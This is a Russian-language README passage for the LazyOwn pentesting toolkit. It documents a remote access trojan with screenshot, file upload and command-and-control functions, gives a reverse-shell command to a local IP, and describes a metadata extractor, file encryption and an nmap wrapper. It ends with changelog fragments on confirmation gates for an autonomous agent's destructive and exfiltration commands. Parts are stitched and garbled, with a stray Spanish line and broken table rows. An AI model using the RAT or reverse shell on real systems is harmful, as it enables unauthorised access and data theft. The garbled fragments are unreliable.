LazyOwn RAT — это простая, но мощная программа удалённого администрирования. Она включает функцию создания скриншотов, которая захватывает экран сервера, команду загрузки, позволяющую загружать файлы на скомпрометированную машину, и режим C&C, в котором команды могут отправляться на сервер. Она работает в двух режимах: клиентском и серверном. Обфускация отсутствует, и RAT основана на BasicRat. Вы можете найти её на GitHub по адресу https://github.com/awesome-security/basicRAT и https://github.com/hash3liZer/SillyRAT. Хотя последняя гораздо более функциональна, я просто хотел реализовать захват скриншотов, загрузку файлов и отправку команд. Возможно, в будущем я добавлю функцию просмотра веб-камеры, но это будет позже.```sh usage: lazyownserver.py [-h] [--host HOST] [--port PORT] --key KEY lazyownserver.py: error: the following arguments are required: --key
usage: lazyownclient.py [-h] --host HOST --port PORT --key KEY lazyownclient.py: error: the following arguments are required: --host, --port, --key
LazyOwn> run lazyownclient [?] lhost and lport and rat_key must be set
LazyOwn> run lazyownserver [?] rhost and lport and rat_key must be set
luego los comandos son:
upload /path/to/file donwload /path/to/file screenshot sysinfo fix_xauth #to fix xauth xD lazyownreverse 192.168.1.100 8888 #Reverse shell to 192.168.1.100 on port 8888 ready to C&C

## Использование режима Lazy Meta Extract0r
LazyMeta Extract0r — это инструмент, предназначенный для извлечения метаданных из различных типов файлов, включая PDF, DOCX, OLE-файлы (такие как DOC и XLS), а также нескольких форматов изображений (JPG, JPEG, TIFF). Этот инструмент обходит указанный каталог, ищет файлы с совместимыми расширениями, извлекает метаданные и сохраняет их в выходной файл.
[*] Iniciando: LazyMeta extract0r [;,;]
usage: lazyown_metaextract0r.py [-h] --path PATH
lazyown_metaextract0r.py: error: the following arguments are required: --path```sh
python3 lazyown_metaextract0r.py --path /home/user

Метод шифрования, который позволяет нам как шифровать файлы, так и расшифровывать их, если у нас, конечно, есть ключ.
```sh
encrypt path/to/file key # to encrypt
decrypt path/to/file.enc key #to decrypt
## Использование режима LazyNmap

Использование Lazynmap предоставляет нам автоматизированный скрипт для цели, в данном случае 127.0.0.1, с использованием Nmap. Скрипт требует административных прав через sudo. Он также включает модуль обнаружения сети для определения того, что присутствует в вашем сегменте IP. Кроме того, скрипт теперь можно вызывать без параметров с помощью псевдонима nmap или команды run lazynmap.
```sh
./lazynmap.sh -t 127.0.0.1 # or in the cli just nmap
Откройте для себя революцию в автоматизации задач пентестинга с помощью однострочного CLI-ассистента LazyOwn GPT! Этот невероятный скрипт является частью набора инструментов LazyOwn, созданного, чтобы сделать вашу жизнь пентестера более эффективной и продуктивной.
Ключевые возможности:
confirm=truelazyown_c2_command, lazyown_c2_redop, lazyown_c2_adversary и любая run_command, тело которой соответствует rm -rf / exfil / wipe / encrypt-file, теперь требуют явного аргумента confirm=true. |
| Предотвращает случайные деструктивные действия из автономных циклов. |
| Происхождение + уверенность для учётных данных | Каждые учётные данные, предоставляемые через target_context, включают is_likely_credential, confidence, classification и блок provenance (source_file, line_no, captured_at), когда они найдены. | Требуется для цепочки сохранности в отчётах о пентестах. |
| Аннотации свежести | Каждый файл доказательств в JSON SITREP и target_context несёт age_seconds, age_human и stale=true, как только превышает freshness_threshold_seconds (по умолчанию 7 дней; настраивается для каждого вызова). | Не даёт агенту эксплуатировать на основе устаревших данных разведки. |
cmesecretsdumpPayloadAwareCompleter |
| Динамическое разрешение псевдонимов | cli/aliases.py теперь по умолчанию использует lazy=True: шаблоны псевдонимов сохраняют свои заполнители {rhost}/{lhost}/и т.д. и отображаются против self.params во время выполнения. set rhost X распространяется на каждый псевдоним при следующем нажатии клавиши (без перезапуска оболочки). Предварительная подстановка по-прежнему доступна с lazy=False. | DynamicAliasResolver, cli/aliases.py |